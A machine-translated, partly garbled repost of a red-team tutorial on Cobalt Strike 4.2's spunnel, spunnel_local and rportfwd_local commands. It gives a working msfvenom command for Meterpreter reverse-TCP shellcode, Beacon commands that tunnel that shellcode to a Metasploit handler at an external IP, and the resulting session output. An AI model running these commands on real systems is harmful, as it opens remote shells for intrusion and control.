当前位置:网站首页>Cobalt Strike Spawn & Tunnel
Cobalt Strike Spawn & Tunnel
2022-06-23 20:44:00 【Khan security team】
Cobalt Strike 4.2 A new set of “ Generation and tunneling ” command , be called spunnel and spunnel_local.
Core Impact yes HelpSystems The vulnerability exploitation framework ,HelpSystems Is the acquisition of strategic networks and Cobalt Strike The same company . Of course , They want to coordinate products under their umbrella , But this makes non CI It's easy for customers to think that this feature is not interesting or relevant .
however , The implementation is generic enough , You can take advantage of anything that can generate location independent shellcode Aggressive toolset for , So this article will demonstrate how to combine these commands with Meterpreter shellcode Use it together . But lasta , You may be thinking .Beacon There are already external listeners ,shspawn and shinject command , They can already pass Beacon Generate Meterpreter conversation . Why do we need more commands to do the same job ?
Aside from the offensive depth of the argument , External listeners are quite limited , Because it only supports 32 Bit and incompatible with phaseless payloads .shspawn and shinject More flexible , Because they allow us to provide arbitrary shellcode—— Include 64 Bit and stageless.
take Meterpreter C2 The flow returns to Metasploit The most obvious way is to use HTTP/S Load type —— The disadvantage is that it creates a new exit channel . If we have taken the time and care to make Beacon As far as possible, the flow becomes OPSEC Security , Then the whole process must be repeated to accommodate Meterpreter The conversation will not be an interesting time . This is why in the existing C2 Tunnel implantation in the tunnel is a good proposal .
beacon> help spunnel Use: spunnel [x86|x64] [host] [port] [/path/to/agent.bin] This is the spawn and tunnel command. Spawn an agent and create a reverse port forward tunnel to its controller.
Before we surpass ourselves , Let's generate a pointer to 127.0.0.1:4444 The reverse of TCP load .
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 200262 bytes Saved as: /tmp/msf.bin
And then execute spunnel, among 184.105.181.155 Is to run Metasploit Framework Of the server IP.
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to 184.105.181.155:4444 [+] started reverse port forward on 4444 to 184.105.181.155:4444 [+] host called home, sent: 200296 bytes
According to the normal function of reverse port forwarding , It will listen on the arrival port 4444 And forward it to 184.105.181.155:4444. So we got a new one TCP Meterpreter The conversation appears .
msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Meterpreter session 1 opened (10.64.41.77:4444 -> 74.82.28.4:49194) at 2021-06-12 14:08:34 -0400
It doesn't seem so striking , Because it seems to be rportfwd + shspawn The combination of / Automated version . You can really do the same by running them on your own .
spunnel_local
When we look at spunnel_local when , Things have become more interesting .
beacon> help spunnel_local Use: spunnel_local [x86|x64] [host] [port] [/path/to/agent.bin] This is the spawn and tunnel command. Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller.
And spunnel_local The main difference is , Traffic will be redirected all the way to run Cobalt Strike client The host , Not just Team Server. When we use Meterpreter In the example , This allows us to run on our own local machine Metasploit frame ( This machine 、VM or WSL etc. ).
under these circumstances , I am here Windows Up operation CS client , stay Ubuntu Use in WSL2 function msfconsole. Set the multiprocessor to listen 0.0.0.0:4444.
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444
WSL One consequence of this is , From my Windows From the perspective of the host , This is only bound to 127.0.0.1.
C:>netstat -anp tcp | findstr 4444 TCP 127.0.0.1:4444 0.0.0.0:0 LISTENING
tell spunnel_local Bound to the 4444 And forward to 127.0.0.1:4444. Because the traffic all the way back to my host , So this is on my machine 127.0.0.1:4444, instead of “ The victim ” machine .
If you are using NAT、 Bridging or internal network VM Run in Metasploit, You will specify VM Of IP Address, not 127.0.0.1.
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to rasta -> 127.0.0.1:4444 [+] started reverse port forward on 4444 to rasta -> 127.0.0.1:4444 [+] host called home, sent: 200296 bytes
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:33144) at 2021-06-12 20:05:26 +0100
I think it is possible to run this type of tool locally in a virtual machine , And it can be set without manual operation iptables and ssh Port forwarding in case of mischief will tunnel all traffic back for use , It's really cool .
rportfwd_local
except spunnel Besides the command , One more rportfwd_local command .
You can infer that , This is a general method to generate reverse port forwarding , The port forwarding will return to... Through the tunnel Cobalt Strike The host , instead of Team Server.
Before I do some sort of RCE( for example ,MS SQL On the box xp_cmdshell) And I think the implementation is not suitable for RCE Method for large load cases , I often use the reverse port to forward . image PowerShell one-liner adopt rportfwd To iex Things like that work very well .
The standard rportfwd An order requires Team Server Forward traffic to a publicly accessible IP( Like our first spunnel As the sample ), Or forward it to other places with the help of other forwarding magic .
and rportfwd_local Will allow us to host locally 、VM or WSL Start in Python HTTP The server , And let the remote host download the payload directly from us .
边栏推荐
- 「开源摘星计划」Containerd拉取Harbor中的私有镜像,云原生进阶必备技能
- How to deal with unclear pictures? How to deal with color balance?
- Daily question brushing record (II)
- How PostgreSQL quickly locate blocking SQL
- Postman tutorial - teach you API interface testing by hand
- How do I view the server when I log in to the fortress machine? Operation guide for novice
- 重庆 奉节耀奎塔,建成后当地连中五名进士,是川江航运的安全塔
- Excel text function
- [golang] some questions to strengthen slice
- After the collapse of UST, will the stable currency market pattern usher in new opportunities?
猜你喜欢

Implementation of microblog system based on SSM

JS高级程序设计第 4 版:生成器的学习

Applet development framework recommendation

Yaokui tower in Fengjie, Chongqing, after its completion, will be the safety tower for Sichuan river shipping with five local scholars in the company

SQL联合查询(内联、左联、右联、全联)的语法

FPGA based electromagnetic ultrasonic pulse compression detection system paper + source file

The evolution of the "Rainbow Bridge" middleware platform for the acquisition database based on shardingsphere

Interpreting the 2022 agile coaching industry status report

Ugeek's theory 𞓜 application and design of observable hyperfusion storage system

ZABBIX monitoring - Aruba AP operation data
随机推荐
How to make a material identification sheet
【Golang】怎么实现Go程序的实时热更新
What is the process of setting up local cloud on demand? Can cloud on demand audit videos?
How does the fortress machine connect to the server? Novice must know operation steps
Cloudbase init considerations
[golang] quick review guide quickreview (x) -- goroutine pool
[golang] use go language to operate etcd - configuration center
JS mailbox regular expression
UGeek大咖说 | 可观测之超融合存储系统的应用与设计
【白话技术】二维码
[golang] quick review guide quickreview (I) -- string
How to build a personal cloud game server? How many games can the cloud game platform install?
Is Guoyuan futures trading software formal? How to download safely?
小程序开发框架推荐
Dart series: your site is up to you. Use extension to extend classes
December 29, 2021: the elimination rules of a subsequence are as follows: 1. In a subsequence
Is it possible to transfer files on the fortress server? How to operate?
Script tag attributes and & lt; noscript> label
[golang] quick review guide quickreview (IV) -- functions
Strokeit- the joy of one handed fishing you can't imagine